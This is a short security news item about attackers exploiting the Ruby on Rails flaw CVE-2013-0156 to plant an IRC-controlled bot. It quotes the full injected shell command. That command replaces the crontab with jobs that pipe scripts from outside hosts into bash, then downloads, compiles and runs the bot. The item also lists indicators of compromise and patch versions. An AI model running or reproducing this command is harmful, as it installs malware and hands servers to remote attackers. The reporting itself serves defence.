Ruby on Rails, (ROR), has a hole in it that allows attackers to attempt to compromise servers. Successful intruders install a bot that waits for instructions on an IRC channel. On his blog, security expert Jeff Jarmoc reports that the criminals are trying to exploit one of the vulnerabilities described by CVE identifier 2013-0156.

The holes were closed back in January, but many servers on the net are probably still infected because they are running an obsolete version of Ruby.

Jarmoc says that the attackers attempt to inject the following commands:

crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget 88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget 88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k

This injection causes the bot (K.C) to be downloaded, compiled and executed. Source code is also on Jarmoc's blog. "k" tries to contact an IRC server hosted at the cvv4you.ru domain and then joins the #rails channel on that IRC server. Jarmoc says that k can be instructed to download and execute arbitrary code. The IRC server has since become unavailable – at least on this address.

Evidence of the bot appears in the process list as "-bash". When launched, it also creates a file called /tmp/tan.pid to ensure only one instance of the bot is executed. Those who run a server with Ruby on Rails should always make sure to have the current RoR version installed. The current versions of Ruby on Rails are 3.2.13, 3.1.12 and 2.3.18.